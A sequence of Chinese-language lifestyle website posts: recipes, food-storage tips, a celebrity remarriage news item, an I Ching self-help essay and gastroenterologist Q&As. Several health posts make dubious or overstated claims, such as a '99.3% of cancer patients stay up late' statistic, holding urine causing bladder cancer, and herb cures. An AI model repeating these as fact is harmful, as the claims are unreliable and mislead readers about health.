炒完菜马上就关油烟机→肺癌

菜马上就要出锅了,关火、关抽烟机、盛菜,一系列的动作一气呵成,一道菜宣告完成。然而就是这一随手的习惯,却暗藏“杀机”。如果火特别大,菜烧焦的话,更会引起有害物质释 ,特别是对呼吸系统产生危害,有可能有诱发肺癌的可能。

经常憋尿→膀胱癌

经常憋大小便的,尿液中一般含有一种或几种致癌物质,均能刺激膀胱上皮使其癌变。粪便中的有害物更多,如硫化氢、粪臭素、胆固醇代谢产物和次级胆酸等致癌物,若 经常刺激肠粘膜,也会导致癌变。

憋尿的危害尤其大,如果长期憋尿,即使不患癌症,也会增加患尿毒症的风险。

不爱吃蔬果→多种癌

经常不吃蔬菜水果,会增加患结肠癌的风险。不吃蔬菜会缺乏β-胡萝卜素,肺癌发病率提高7倍;缺乏维生素A,患肺癌、胃癌的可能性很大;叶酸与维生素B2缺乏,也是食管癌高发的重要原因。

熬夜→乳腺癌、前列腺癌

英国科学癌症研究中心的研究称,世界各地1000余名30~50岁的癌症患者中,有99.3%的人常年熬夜,熬夜一方面会造成生物钟紊乱,另一方面,夜间灯光会破坏人体褪黑素形成,而这是保护人体免疫功能的重要一环,缺少它容易让白血病、乳腺癌、前列腺癌等找上门来。专家建议,中老年人尽量在10点前入睡。

管不住嘴→13种癌症

30岁以后,新陈代谢减慢,很多人都会有逐渐长胖,若是管不住嘴,任由体重增加,那就危险了。世界卫生组织下属国际癌症研究机构的研究显示,肥胖或超重会增加13种癌症风险,包括子宫癌、乳腺癌、结肠癌、胃癌、肝癌、胆囊癌、胰腺癌、卵巢癌、甲状腺癌、脑膜瘤、多发性骨髓瘤、食道癌和肾癌。

太可怕了,癌症竟潜藏在我们平时的生活习惯里,这篇文章能救命,越多的人看到,就能让越多的人远离癌症,让越多的家庭充满欢笑!

2021-03-11 / by / in ,
最好的长寿药 最佳养生方法都不花一分钱!

生活习惯/生活方式/长寿药/养生方法

每个人都想长寿,他可能是你一生的愿望,今天和你分享不花一分钱的长寿秘方,最好的养生方法。

身体有个小毛病,总是把希望寄托在吃药上面,却从来不想改变自己的生活习惯。

其实很多养生保健“药”,比生病后吃药都更划算,还没一点副作用,重要的是一分钱都不用花!

最好的防癌“药”:走路

“走路可看作治疗症的特效药!”英国慈善组织漫步者协会和麦克米伦癌症援助组织共同指出,如能每天坚持行走1英里,在20分钟内走完,对乳腺癌、前列腺癌、肠癌的治疗都有明显益处,最高可降50%死亡风险。所以走路是防癌的最好方法!

英国慈善组织漫步者协会和麦克米伦癌症援助组织共同指出,如果能每天坚持行走1英里(约1609米),在20分钟内走完,对乳腺癌、前列腺癌、肠癌的治疗都有明显益处,最高可降50%死亡风险。

走路还能减肥、控制血糖、助降压、缓解颈椎痛、护腰、养肺……

最好的长寿“药”:大笑

人参鹿茸?不如一个动作。西班牙《趣味》月刊发表文章称,笑笑更健康。大笑能够使心率加速,为大脑供氧。

芝加哥拉什大学医疗中心研究员丽萨?罗森博格表示,大笑是一种有氧运动,大笑一百次达到的锻炼效果相当于骑15分钟自行车。此外,大笑的健康之处还在于能够使心率加速,为大脑供氧,具有幽默感的人免疫机制更健康,心肌梗死的几率会降低40%左右,平均寿命能够提高4年半。

国家级名老中医、湖南中医药大学第一附属医院黄政德教授介绍,盘坐能够增强心脏功能、促进血液循环。盘坐一阵后,会发觉自己的思虑会放缓下来,能帮助老年朋友镇定情绪,缓和心情,睡不着的时候,可以盘腿而坐来静心。此外,盘腿还有益于预防和治疗关节痛,还能让呼吸系统不受阻,对顺畅呼吸很有帮助。


最好的长寿“药”:大笑 

最好的美容“药”:睡觉

有研究表明,人表皮细胞新陈代谢最活跃的时间是22时至次日凌晨2时。

这就是我们常说的“美容觉”最佳时段,如果在这个时间段能保证良好的睡眠,就可以加快皮肤新陈代谢,延缓皮肤衰老。

反之,熬夜会影响细胞再生速度,缩短皮肤细胞寿命,导致肌肤老化。

不过,真正的“睡美人”不是靠一两次“美容觉”补出来的,只有作息有序才能拥有高质量的睡眠。切记,23点前要睡觉。

最好的防痴呆“药”:勤读书

多项研究表明,教育程度越低的人,未来发生痴呆的风险也越高,而良好的教育,能显着降低未来痴呆的发生风险。因此从儿童时期就进行良好的教育,有助于防止将来发生痴呆。

如果老年也保持着学习的习惯,可极大地保护自身的认知功能。所以,多看书看报,每天努力记住一些新近发生的事情或学习到的新知识,让大脑始终都处于运动和学习的状态中是防痴呆的最好方法。

最好的补钙“药”:晒太阳

老人缺钙怎么办?晒太阳。防脑退化,怎么做?多晒太阳。

英国埃克斯特大学研究显示,缺乏维生素D的老人较一般人患脑退化症的几率高出五成。研究者指出,暴露于阳光下,身体便可吸收维生素D。

总失眠,怎么办?晒太阳。要改善睡眠,就要调整白天与夜间的兴奋度,建议老年人遵循日照节律,白天多晒太阳,提高机体的兴奋度。多晒太阳,百毒不侵。前提是不要过度,老年人晒30分钟左右即可。


多晒太阳补钙 

世上最好的医生:自己

生病靠医生,更要靠自己!很多人都对健康的四大基石了如指掌:合理膳食、适量运动、戒烟限酒、心理平衡。

然而,现实生活中有不少人依旧在不健康的生活方式中“埋头苦干”,吸烟、喝酒、大鱼大肉、通宵熬夜、不锻炼、长期闷闷不乐……

改掉这些坏毛病吧!要记住,最好的医生是自己。此外,生病了不要讳疾忌医,要积极配合治疗。

怎么治怎么防?答案是预防得走在前面。

首先就要对吸烟、酗酒、暴饮暴食、长期熬夜、不重视锻炼等不健康生活方式大声说“不”;

其次,生病了,不要讳疾忌医,也不要病急乱投医,应该以坦然的心态和医生沟通,配合医生积极治疗;

再次,要掌握一些基本的防病治病科普常识,请务必记住:最好的医生是自己,最好的处方是知识。

世上最伤身的行为:贪凉

贪一时之凉,受伤的可能是肾。因为贪凉可直接导致感冒,长期下来,容易引发肾脏损伤。

著名肾病老中医邹燕勤教授也说过,她的父亲、我国中医肾病学宗师邹云翔立下家规,绝不让家人和孩子们贪凉吃冷饮。

胃喜温不喜凉,肾也是喜暖不喜寒,冰冷食物对胃伤害大。现在的很多小孩子容易生病、脾胃不和,都和平时吃冷饮有莫大的关系。

世上最贵的床:病床

我们在床上出生,大概也会在床上走完最后一程。

医院虽然是救命的地方,然而医学仍有难以破解的难题,不要以为躺上了医院的病床,就可以后顾无忧。

不要在生命的最后几年,花光一生的积蓄,然后不甘地离去!

如果爱自己,爱家人,从现在开始,改变坏习惯,早睡早起、不熬夜、少喝酒,珍惜自己才能珍惜家人。

2021-03-10 / by / in
遇到困境 《易经》里三个“锦囊” 教你化险为夷

易经/困境/度过难关/稳住阵脚/积蓄力量/把握时机/寻找出路/稳扎稳打/踏实前进

人的一生是不平凡的,人的喜怒哀乐会伴随左右。

尤其我们难免会遇到一些坎坷,有人选择跨过去,有人选择将坎坷磨平,还有些人选择直接止步不前,你会如何选择呢?


遇到困境

如果只是短期遇到一些困境,我可能会选择暴饮暴食,再睡上一觉,放纵一下,发泄一下自己的情绪,可能很多人的选择和我一样,这无可厚非,但并非长久之计,如果一直如此,那你真整个人不就废掉了吗?

我们还是要对未来进行谋划,跨过这个困境,今天我们就来探讨一下《易经》中的三个策略,说不定就会帮助你安稳地度过难关。

稳住阵脚

我们都说人生不如意,十之八九,最怕自乱阵脚,病急乱投医。有时候困境并没有那么可怕,但因为我们的所作所为或者说不作为,让困难程度提升,让困境变成逆境。

《易经》第二十九卦:坎卦;上坎下坎,水上加水,陷而再陷,十分险难,但越艰险越要往前,退缩没有出路。


易经 

何为坎?坎的卦辞中有这样一句话:习坎,重险也。水流而不盈,行险而不失其信。坎坷何其多,我们要适应这种情况,水川流不息,却不会见满盈,在险境中不失信心。正如德国尼采所言:杀不死我的东西,只会让我变得更强大。我们不怕困难有多大,就怕自己未战先怯,自己投降。

如果连你自己都放弃自己了,还会有谁推着你前行吗?

积蓄力量

在我们处于人生低谷期,总是期望有人能帮助我们,或者是事情出现转机,自己能东山再起,正如那个成语一样:否极泰来。

《易经》第十二卦:否卦,小人吉,大人否,这是一个对我们非常不利的卦象,正印证了我们所处的环境,这时候我们该怎办?

在唐朝时期,佛家高僧僧一行还没有出家的时候,被武则天的侄子武三思所看重,武三思很想结交这人,但武三思品行不端,僧一行不屑于和他结交,僧一行就躲进了深山老林,出家为僧,但僧一行没有自我放弃,他编著了著名的《大衍历》。

武三思确实厉害,权倾朝野,但即便如此,也不与他为伍,不过既然斗不过,我们何不急流勇退,在其他方向寻找出路。


把握时机,踏实前进

把握时机,踏实前进

同样是否卦,倾否,先否后喜,当你已经跌落到谷底,你已经没有东西失去了,这时候不管你做什么都是在往好的方向发展,而且物极必反,这个困境可能对于当下的你来讲是一个不可逾越的大山,但当你蓄积好力量,坚持到底,时机一定会出现,这时候你不要大喜过望,继续拿出稳扎稳打的态度,还有什么能阻挡你?

有一句歌词:我不怕千万人阻挡,只怕自己投降。如果你正在谷底,希望对你有所帮助。

2021-03-10 / by / in
女亿万富翁再婚,嫁中学化学老师

【金牌网】贝佐斯的太太麦肯齐·斯科特(MacKenzie Scott)再婚,第二任丈夫是西雅图一私立中学化学教师。
斯科特女士拥有530亿美元财富,被视为世界上最富有的女人之一。和他喜结连理的丹·杰维特(Dan Jewett),曾担任数十年教师,最近在西雅图私立学校Lakeside School教授化学。斯科特的孩子正好在那儿上学。
从照片上看,这位第二任丈夫看起来异常彪悍,精力强盛,更像一个体育老师,给人海军陆战队队长的感觉,外表也比光头的贝佐斯强壮许多。二人在一起似乎非常很开心。
斯科特女士的前夫贝佐斯向前妻表示祝贺。他在声明中表示:丹是一个很好的人,为她们俩高兴。
他们结婚的信息,出现在在斯科特女士的捐款承诺书上。杰维特帮他的新婚妻子给慈善事业再次捐出了巨额财富。
杰维特说:一次快乐的巧合,让他和自己了解的一位最慷慨亲切的女士结了婚,并和她一道致力于将巨额财富传递给他人。
去年7月份,斯科特女士给116所非盈利机构、大学和社区发展组织和法律团体,捐助了16.8亿美元。2020年,她又寻求一个顾问团队帮助,加速捐助那些受到疫情损害的组织,捐助512个组织达57亿美元。在去年50位捐助最多的美国人中,她位居第二。
斯科特已经把她在亚马逊网站上作者页面上的注释改为:她和四个孩子以及丈夫Dan居住在西雅图。贝佐斯和前妻结婚25年,2019年离婚。贝佐斯是世界上最富有的人。她曾和贝佐斯一起创业,帮助公司起名,制作商业计划,甚至邮寄订单;婚后她专注于抚养子女和文学生涯。离婚时,她与贝佐斯达成协议,接收了Amazon4%的股票,变为世界上最富有的女人之一,并成为一个出手阔绰的慈善家。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

2021-03-09 / by / in , ,
太棒了!空气炸锅烤出的脆皮五花肉(视频)

脆皮五花肉/五花肉/空气炸锅

五花肉做法可是多种多样,今天和大家分享不用烤箱做出的空气炸锅脆皮五花肉。

空气炸锅的功效不输传统的烤箱,而且在使用空气炸锅的时候,不需要预热,很方面。大家不妨试一试用它来烤五花肉,烤出的皮酥脆,肉质鲜嫩。而且非常容易操作。

材料:

带皮五花肉 1块

调料:

洋葱粉,五香粉,黑胡椒碎,蒜盐粉,烟熏辣椒粉,孜然粉,盐,意大利植物香料,棕色糖,所有这些粉均为1茶匙的量

做法:

1. 用刀在瘦肉上面切十字刀,但不要切断。切好后将所有的调料混合粉抹在肉上面腌制30分钟。

2. 将肉最好放在一个烤盘里面,或用锡纸做成的一个烤盘,如视频中那样,将肉放进去,用白醋把肉片刷一下,将温度调至100度烤30分钟.这一步主要是起到烘干肉的作用。

3. 将肉取出然后,在肉片表面撒少许盐,再刷一层油,将温度调到180度烤40分钟。

2021-03-09 / by / in ,
土豆买多了 这样保存效果最好

土豆/马铃薯/土豆发芽/黑色塑料袋

土豆又称马铃薯,在生活中是我们家庭比较常见的一种食材,土豆的吃法多种多样,因为土豆营养价值高,好多朋友买土豆为了方便,每次都要多买一些。

土豆买多了如果不会保存,那么土豆就容易出现发芽、干瘪、变青变绿的情况,一旦土豆发芽了,那么就千万不要再食用了,因为发芽的土豆里面含有龙葵碱的成分,龙葵碱是一种毒素,如果我们食用下去,就会直接影响到我们的身体健康。

我们在保存土豆之前,如果发现土豆表面出现损伤,或者有些破皮的情况,那么这种土豆我们就要把它挑出来,提早吃掉。我们要挑选比较新鲜,外表完好无损的土豆。保存土豆时,土豆是不需要清洗的,即使表面带有一些泥巴,也不用清洗,因为清洗过后的土豆,不容易保存。

土豆

其实保存土豆的方法非常简单,今天就教大家几个保存土豆的简单方法。

1、用黑色塑料袋包装

我们拿一条黑色的塑料袋,把土豆放在塑料袋里面,然后尽量排出里面的空气,扎紧袋口,用黑色塑料袋来保存土豆,可以避免土豆遇到阳光出现化合作用,这样就可以阻止土豆出现发芽的情况,因为土豆里面含有大量的淀粉,遇到光线或者水分充足的时候,就容易出现发芽的情况,所以袋子我们要选用黑色的塑料袋,黑色塑料袋可以避光,这样保存土豆就可以延长土豆的保鲜期了。

2、撒上一些小苏打

我们在一个纸箱的底部铺上一层报纸,然后在报纸上面撒上一些小苏打,小苏打能够吸附潮气,驱除一些小虫子,这样就能够防止土豆被虫子叮咬了,接着我们把土豆一个个地放到纸箱里面,土豆跟土豆之间要留有空隙,避免出现挤压的情况。

然后在土豆上面再铺上一层报纸,如果土豆比较多的话,可以每一层都用报纸隔开,一层层地叠起来摆放,防止土豆之间挤压出现变质的情况。最后我们就可以把纸箱密封起来,放到阴凉通风的地方保存,纸箱,报纸,小苏打都能够起到很好的吸潮作用,这样土豆就长期处于一个干燥的环境里面,用这个方法来保存土豆,一般情况下,放上一年都不发芽不干瘪,也不会变坏掉。

3、用保鲜膜包裹土豆

我们用保鲜膜把土豆包裹起来,包裹得严实一些,放到阴凉干燥处保存,这样就可以隔绝土豆与空气的接触,土豆就不会出现发芽的情况了,用这个方法来保存土豆,可以保存一个月左右。保存土豆时,用上这几招,那么土豆就不会出现发芽变绿变坏的情况了。

2021-03-09 / by / in
一咬流汁又流油的生煎包 肉汁裹着肉香 油香 葱香 芝麻香 百吃不厌~(视频)

生煎包/小笼包/包子

非常有名气的上海生煎包很多人都喜欢吃,按照生煎包师傅的说法肉汁裹着肉香、油香、葱香和芝麻香,总之一口咬上去是满口香,怎么吃你都不厌!

材料:

面粉部分:

中筋面粉 330克, 温水(体温差不多) 190毫升, 盐 1克, 酵母 3克, 糖 10克

肉馅部分:

肥瘦猪肉馅450克, 姜末少许, 葱2根, 猪蹄汤60g, 生抽3勺, 料酒1勺, 老抽1/2勺, 蚝油1勺, 芝麻香油1勺, 糖1茶匙, 白胡椒粉1/2茶匙, 油20毫升

做法:

1. 发面,加入糖,酵母和盐,用和体温差不多的温水,先搅拌成絮状,然后手揉一直揉到见不到干粉,继续揉直到揉成一个柔软光滑的面团,大约需要10分钟。盖上盖子,室温下饧发1到一个半小时(根据室温高低而定)。

2. 准备生煎包的馅料,用半肥瘦的肉馅,如果你用五花肉自己剁成肉馅当然会更美味。加入姜末,葱切成葱花, 加入生抽,料酒,蚝油,老抽,白胡椒粉,糖,芝麻香油,这里我用的昨天炖猪蹄的汤,虽然不是猪皮冻,但也是满满的骨胶原,胜在省事而且效果也不差,分几次倒入汤汁,不断搅拌直到肉馅开始起了黏性,根据自己口味加入少量盐调味,最后倒入油锁住香味和水分,放入冰箱里冷藏一下。

3. 面团发了2倍大了, 洒一点干粉, 排气。将面团分成两份,每份搓成长条,揪出大约15克一个大小的剂子,一共可做35个左右。搓圆定型后,铺上干布松弛15分钟。

4. 包生煎的皮和饺子皮差不多,擀的时候中间稍厚,四周薄一点,撒上干粉,封口朝上,擀成直径大约8厘米的面皮, 放入猪肉馅,用包包子的方法,将一侧面皮对折,然后开始褶褶子,收口后将多余的面团揪下来,翻个个儿放入平底锅里。如果你不喜欢封口朝下,也可以不翻个,我喜欢封口朝下煎得焦脆的口感。

5. 生煎包摆放不用间隔太大,稍留点空隙就可以了, 煎好的生煎满满当当的,看起来特别有食欲。生煎包在锅里饧发大约10分钟。

6. 开火倒入稍多一点的油, 盖上盖中大火大约4-5分钟,听到锅底发出吱吱声,倒入约40毫升的水改成中火,继续盖盖子生煎,等水分差不多收干,撒上黑芝麻和葱花,再倒入少量油,焖上4-5分钟,看到生煎包表面都胀鼓鼓的,锅铲翻看一下底部差不多焦黄了,生煎包出炉啦。

2021-03-08 / by / in ,
中医说它浑身是宝 ! 一口下去全是春天的味道

春季/野菜/营养丰富/荠菜/蒲公英/韭菜/清热解毒/平肝明目/清热利湿/抑病菌/防疾病

春天的到来,是吃野菜的最好季节,许多野生蔬菜利用历史悠久,具备养生和防病的功效。

到了惊蛰后万物生机盎然、雨水渐多,大多数地区都进入了春耕,各类野菜也开始生长上市。春季野菜营养丰富,有些甚至本身就是药材,合理科学地食用,不仅味美还有益健康。


荠菜 

荠菜

很多人都吃过荠菜,但却不知道它还有药材的功效。 《中药大辞典》记载荠菜甘、淡、凉,归肝、脾、膀胱经,有凉肝止血、平肝明目、清热利湿等作用,主治吐血、咯血、尿血、崩漏、目赤疼痛、眼底出血、高血压病等。

惊蛰后气温逐渐回升,但仍会有些凉意,此时饮食正需要增甘健脾,荠菜非常应季,古诗云“城中桃李愁风雨,春在溪头荠菜花”,可以说荠菜是春季较早的野菜了,可炒着吃,也可凉拌、做馅吃。

与此同时,陈玖医师特别提醒,荠菜具有兴奋子宫的作用,孕妇要慎用。日常在食用前最好先用水焯一下去除杂质。


蒲公英

蒲公英

春天乡间小路上随处可见蒲公英,小时候只觉得好看好玩,却不知还好吃好用。蒲公英味甘微苦,性寒,归肝、胃经,有清热解毒、消痈散结的功效,主治乳痈,肺痈,肠痈,痄腮,疔毒疮肿,目赤肿痛,感冒发热,咳嗽,咽喉肿痛,胃炎、肠炎,尿路感染,蛇虫咬伤,烧烫伤。临床上,是预防和治疗产妇产后乳腺炎的最常用药。

蒲公英可以生吃,也可以炒着吃或做汤、做馅饼、做馅吃都可以。


韭菜

韭菜

韭菜性温味辛,归肾、胃、肺、肝经,可补肾、温中、散瘀、解毒,主治里寒腹痛,噎膈反胃,胸痹疼痛,气喘,吐血,痔疮,疥疮,跌打损伤。需要特别提到的是,韭菜子(即韭菜种子)具有补益肝肾,壮阳固精的功效。

春天肝气偏旺,脾胃消化吸收功能受影响,《滇南本草》提到“滑润肠道中积,或食金、银、铜器于腹内,吃之立下”,韭菜可促进肠道蠕动、增强消化功能。但要注意阴虚内热的人或有眼疾的人要慎用。

除了大家最常吃的韭菜炒蛋,还可做成豆丝韭菜,用来炒咸猪肉、炒培根、炒粉干、炒猪肝,或者做韭菜饺子、韭菜盒子等。

野菜非常味美、价值高,但食用前一定要仔细鉴别、做好处理,免得适得其反。

仔细鉴别。如果对野菜的形态没有十足把握,千万不要随意摘菜食用,做到“不知不食”,对来历不明、功效不知的野菜切不可食用,也不要采摘路旁边、水沟等处的野菜。

做好处理。食用前务必认真做好清洁,最好洗净后再在清水中浸泡一定时间,烹饪前建议先焯水处理一下。


野菜

抑病菌防疾病

中医有“六气”:风寒暑湿燥火,而风为春季的主气,《黄帝内经》中《素问·风论》说“风为百病之长”,风邪在大寒、立春、雨水、惊蛰这四个节气最猖狂,能通过口鼻、肌腠在人体抵抗力下降、汗孔开泄时乘虚而侵犯致病。

而另一方面,惊蛰“惊醒”的可不止昆虫,随着气温回升、雨水增多,细菌、病毒等微生物不断滋生,极易侵袭人体致病。此时,流感、流脑、风疹、过敏性疾病等病的发病率相对较高,生活中需要特别注意抑菌防病。

注意个人卫生,室内适当、适时通风,尤其是厨房、卫生间等潮湿的地方,年老体弱或幼儿尽量少去人群密集的公共场所,避免传染性疾病的传播。家中阳台上的盆栽或其他易积水蓄水的地方要及时清洁,以免细菌滋生。

除此之外,还可以食用新鲜蔬菜或富含蛋白质的食物增强体质,抵御外邪的侵袭。对体弱多病、体质差、易感冒的人,还是要根据天气变化,适时适当增减衣物。

2021-03-07 / by / in , ,
烤鸡不一样的做法 味道也不一样(视频)

烤鸡/腌制

鸡的做法真是太多了。有麻油鸡.、清蒸鸡、口水鸡、宫保鸡丁等,今天和大家分享烤鸡不一样的做法 。

烤鸡与做中餐比起来就简单多了,但味道并不输中餐。这道料理还加了蔬菜,这样有菜有肉,一锅成菜。

材料:

整鸡:1.5-2公斤

腌料:

小茴香:1/2 小勺香菜籽:1/2 小勺孜然:1/2 小勺花椒:1/2 小勺盐:2 小勺蒜:5瓣葱:2根小辣椒:3个生抽:1 小勺

烤鸡配菜:

红薯,土豆,红萝卜,绿皮小南瓜和蒜 橄榄油 孜然粉 辣椒粉 盐 蜂蜜汁: 生抽:1小勺 蜂蜜:1小勺

做法:

1. 将鸡的脊椎骨剪下来,再将肥油剪掉。

2. 将调料放在石臼中捣碎,再加入葱姜也捣碎,然后加入酱油等。将调料放在鸡的胸腔部分抹匀,在将一部分放在鸡皮下面。在鸡皮上撒上一些捣碎的盐和小茴香等调料,抹匀后放入冰箱隔夜腌制。

3. 将所有的配菜洗净后,去皮,切成长条后,放在烤盘里面,到入适量的橄榄油,然后将鸡放在蔬菜上面。烤箱温度调至180度,烤60分钟后取出,在鸡皮上面刷上生抽和蜂蜜调成的汁,继续烤15分钟即可。

2021-03-07 / by / in ,
虾头有重金属超标吗?吃虾前必看的6个真相

虾子/虾头黑/重金属超标/虾里面寄生虫/虾线/真相

说起虾子那是许多人喜欢的食物,不管什么场合都是一道不失礼的菜色。但是吃起虾子也是有一些究竟的。

虾子营养丰富,是许多人喜欢的美味佳肴。虾中含有丰富的镁,对心脏活动具有重要的调节作用,能很好的保护心血管系统,它可以减少血液中胆固醇含量,防止动脉硬化,还能扩张冠状动脉,有利于预防高血压及心肌梗死。虾子富含磷和钙,对小儿、孕妇尤有补益功效,也很适合身体虚弱或病后需要调养的人食用。

我们吃虾时常有一些疑问:虾头是黑的,重金属超标吗?虾里面会不会有寄生虫?虾线一定要去掉吗? ……以下介绍给你关于虾的6个真相。

关于虾的6个真相

1、虾头黑黑的,是否重金属超标?

真相:虾头重金属含量和虾肉比起来确实是高一些,但正规养殖的虾子可以放心吃。

虾子体内的重金属主要来源于水和饲料,通常内脏(虾头部分)和虾壳中的含量会高一些。不过,如果水质和饲料太差,虾子也无法存活,所以正规养殖的虾还是有保障的。有些虾头颜色发黑,可能是因为饲料的问题,或酪氨酸酶产生了一些黑色素,和重金属无关。如果实在不放心,就不要吃虾头,反正肉少。

2、虾子里面有寄生虫吗?

真相:虾子里面可能有寄生虫,但煮熟就安全了。

网路上曾经有一个影片,说虾子里面有寄生虫,其实,影片里的白色寄生虫是虾的输精管。虽然如此,水产确实存在寄生虫的风险,最好的处理方法就是:煮熟,建议大家尽量不要吃醉虾(生的)。

3、虾线(虾肠)一定要去掉吗?

真相:虾线(虾肠)是虾的肠道,建议去掉。

虾线(虾肠)指的是掰开虾背时,看到的那条黑色或青色的线。它属于虾的消化道,确实不算干净,通常建议在处理虾的时候把它去掉,但如果不小心吃了,也不用太在意,但可能味道会差一些。

4、虾子会诱发过敏,不能随便吃?

真相:如果本身不对虾子过敏的话就可以吃。

有一种说法:有伤口的时候,吃虾蟹会让伤口溃烂,难以愈合。其实,虾子和伤口溃烂没有什么相关性。虾子的蛋白质含量高,脂肪少,有伤口的人,例如手术后的患者,不妨适量多吃点,还可以帮助伤口愈合。对虾蟹等水产海鲜过敏的人,或食材不新鲜,不卫生,被有害细菌污染的话,吃虾后才会出现不舒服的症状。

5、虾子可以和水果一起吃吗?

真相:想吃就吃,不用担心。

网上有一个传言:虾子和水果中的维生素C一起吃会产生剧毒物砒霜,所以水果和虾蟹等河鲜海鲜不能一起吃。实际上,虾中含有的无机砷含量不多,一起吃不会有问题的。

6、吃虾皮可以补钙?

真相:虾皮的钙含量很高,但是不好吸收,并不推荐。

我们常听说虾皮补钙,主要是指海产虾中的毛虾,每100克钙含量能达到991毫克,确实相当高。但是并不推荐大家吃虾皮补钙,因为虾皮的食用量太少,一般做菜也就用几克,且难以咀嚼消化,吃下去很难被分解、吸收,还不如喝杯牛奶,吃点豆腐小青菜。同时,虾皮钙多,但盐分更多,100克含有5057毫克的钠,因此并不推荐。

2021-03-07 / by / in ,
什么是胶囊内镜检查?它的利弊是什么?法拉盛肠胃病治疗专家荆彤医生为您解答

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。对于胶囊内镜检查这种新兴技术很多人在认识上有很多误区,荆彤医生在此为大家解答。

胶囊内镜检查是一种新的技术,患者只要吞下一颗胶囊,就能进行胃肠镜检查,比普通胃镜轻松许多。那么胶囊内镜和普通胃肠镜还是有区别的,它不能代替胃镜和肠镜。

胶囊内镜对上消化道,就是从食道到胃这一段检查的并不很清楚。对大肠特别是结肠那部份检查也不是很清楚。现在胶囊镜主要是用来检查小肠。我们知道人体的消化器官是从食道下来接着胃,胃之后是长达20英尺的小肠,然后小肠接到大肠,在盲肠接到大肠,大肠一直到肛门。大肠的问题可以用肠镜来解决,食道和胃用胃镜就可以看得很清楚,但这一段20英尺长的小肠就没有那么长的镜子。我们如果对人体解剖稍微有点基本知识的话就会知道,这小肠是弯来弯去叠在一块的,这个镜子很难打这么多弯进去。所以呢就有了胶囊镜。

所谓胶囊镜,就是一个比药丸稍微大一点的胶囊,里边放置了芯片,可以照相。吞下去之后每秒钟可以拍五到六个照片。它在里面不断拍照片把这个信号传出来,我们收集到信号之后在计算机上做分析。

胶囊镜有它的局限性。胶囊镜不能取活检,它只是拍照,看消化道的表面有没有长什么不好的东西。如果看到了东西,需要活检,它没有办法把这个样品取出来。胶囊最后会从人体排出来。

有一些患者要慎重使用胶囊镜。病人如果以前做过腹部手术就要格外小心,因为他很可能肠子里有粘连、狭窄这个情况。胶囊进去之后会卡在那里不往下走。一旦卡住的话可能要做手术才能取出来。所以胶囊镜是有局限性的。是不是需要做胶囊镜检查最好要征求一下肠胃科医生的意见。

2021-03-06 / by / in , , , ,
出现便血、排便习惯的改变、胀气等是否需要做肠镜检查?纽约肠胃病治疗专家荆彤医生为您解答

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。鉴于很多人不知道哪些情况下需要做肠镜检查,荆彤医生在此为大家解答。

如果患者出现大便习惯的改变,比如说原来大便都是很有规律,现在突然便秘,或者是拉肚子,或者大便里看到有血,或者是肚子无缘无故的痛,胀气,身体的消瘦。这些都可以先来看肠胃科医生,让肠胃科医生来做决定是不是需要做肠镜或者是胃镜的检查。这要先让医生来评估。

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哪些人需要做肠镜检查?纽约肠胃科专家荆彤医生为您讲解

荆彤医生是纽约荆彤肠胃中心的创办人,毕业于约翰.霍普金斯大学医学院,是美国少数拥有治疗性内视镜执照的专家。鉴于很多人不知道自己需不需要做肠镜检查,荆彤医生在此为大家解答。

按现在的这个医疗上的说法,即便是没有任何症状,50岁以上都需要做肠镜检查,无论是什么性别。对于那些有家族病史的人更要提前做,尤其是你的父母兄弟姐妹当中有人得了肠癌或者有人有肠息肉。一般要根据他们发病的年龄,减掉10岁,就是你在这个年你就要开始做肠镜检查。比如说,你的父母有一个人在50岁检查出肠癌或者肠息肉,那50岁减10就是40岁,你就要开始做肠镜了。如果你现在已经是43岁了 ,那你就要马上做。

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2021-03-06 / by / in , , ,
做肠镜检查的主要目的是什么?纽约肠胃科专家荆彤医生为您讲解

荆彤医生毕业于约翰.霍普金斯医学院,是美国少数拥有治疗性内视镜执照的专家,鉴于很多人仍不了解肠镜检查的目的,荆彤医生在此为大家做详细讲解。

我们做肠镜的目的主要是预防肠癌的发生。

肠镜检查能看到病人肠粘膜表面有没有肠炎的表现,有没有充血,有什么溃疡,有没有长息肉。如果有息肉,这些息肉继续发展的话很可能会变成肠癌。我们是希望赶在肠癌发生之前把肠癌阻止住。

因为肠癌的发生有一个从息肉到肠癌演变的过程,如果我们看到息肉,把息肉当时就切掉了(我们看到每个息肉都要切掉的)。切掉之后送去化验。这样息肉已经切除了就没有让它变成肠癌的基础了。这就是做肠镜最大的最大的好处:就是让肠癌没有发生的基础。

按现在的医学统计,50岁以上的病人息肉的发生率男性是25%,女性是20%。所以基本上每做五个肠镜就至少有一个病人会找到息肉。息肉癌变的机会也跟息肉的大小有关系。一般情况下长得越大的息肉(超过1公分的息肉)以后癌变的可能性就会越大。癌变可能性还跟息肉的形态有关。如果息肉长得跟菜花似的,这样的息肉的癌变的可能性好像就会更大。还有一种息肉是平的息肉,比较扁平,这种息肉更难发现,所以就要求医生一定要仔细小心。如果医生不注意或者病人清肠没有清得很干净就很容易漏掉。这种扁平的息肉癌变的机会就更大。

如果病人肠内发现了息肉,那么这种病人一定要半年、最长一年就要回来再复查一次肠镜,看那个息肉有没有复发,另外看看当时切了有没有切干净。因为一般息肉的病人他可能在原位还有在其他的位置可能还要长息肉,所以这种病人要缩短做肠镜的间隔。

2021-03-06 / by / in , ,
素梅菜扣肉:一块豆腐 二个杏鲍菇 保你喜欢(视频)

素梅菜扣肉/杏鲍菇/豆腐

现在有非常多的人群喜欢素食,我们今天就和你一起分享一道素版的梅菜扣肉。

其主要食材就是杏鲍菇和豆腐,加上梅菜干上锅一蒸就可以了。豆腐充分吸收了梅菜和杏鲍菇的香气,咸香入味。杏鲍菇营养非常丰富,富含蛋白质、和各种矿物质,可以提高人体免疫功能。

材料:

梅菜干 适量,老豆腐 1块,杏鲍菇 2个,蒜 2瓣,

调料:

白糖 1茶匙,生抽 2汤匙,蚝油 1汤匙

做法:

1. 准备工作:梅干菜事先用开水浸泡20分钟,杏鲍菇洗净切成厚片,老豆腐切片。梅菜干泡软后切碎。

2. 煎豆腐和杏鲍菇:平底锅中放适量油,将豆腐放入煎成两面金黄后取出,杏鲍菇也煎成两面金黄后取出。

3. 炒梅菜干:锅中放油,放入蒜碎和梅菜干炒香,放入酱油,蚝油和糖翻炒均匀。

